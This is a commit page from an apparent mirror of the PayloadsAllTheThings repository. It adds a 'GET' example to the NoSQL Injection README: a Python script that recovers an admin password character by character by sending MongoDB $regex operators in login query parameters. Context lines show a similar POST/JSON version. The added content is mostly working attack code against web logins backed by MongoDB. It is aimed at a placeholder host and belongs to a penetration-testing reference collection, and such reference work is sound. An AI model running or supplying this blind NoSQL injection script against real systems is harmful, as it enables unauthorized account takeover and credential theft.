Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-14 07:12:54 +00:00
Code Issues Projects Releases Packages Wiki Activity

Merge pull request #64 from noraj/patch-1

Browse source 
add nosqli GET example
This commit is contained in:
Swissky 2019-04-21 14:12:06 +02:00 committed by GitHub
commit aac5a57932
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 27 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

27
NoSQL Injection/README.md
View file

@ -50,6 +50,9 @@ Extract data with "in"
## Blind NoSQL
### POST with JSON body
```python
import requests
import urllib3
@ -59,6 +62,7 @@ urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
while True:
for c in string.printable:
@ -70,6 +74,29 @@ while True:
password += c
```
### GET
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username='admin'
password=''
u='http://example.org/login'
while True:
for c in string.printable:
if c not in ['*','+','.','?','|', '#', '&', '$']:
payload='?username=%s&password[$regex]=^%s' % (username, password + c)
r = requests.get(u + payload)
if 'Yeah' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## MongoDB Payloads
```bash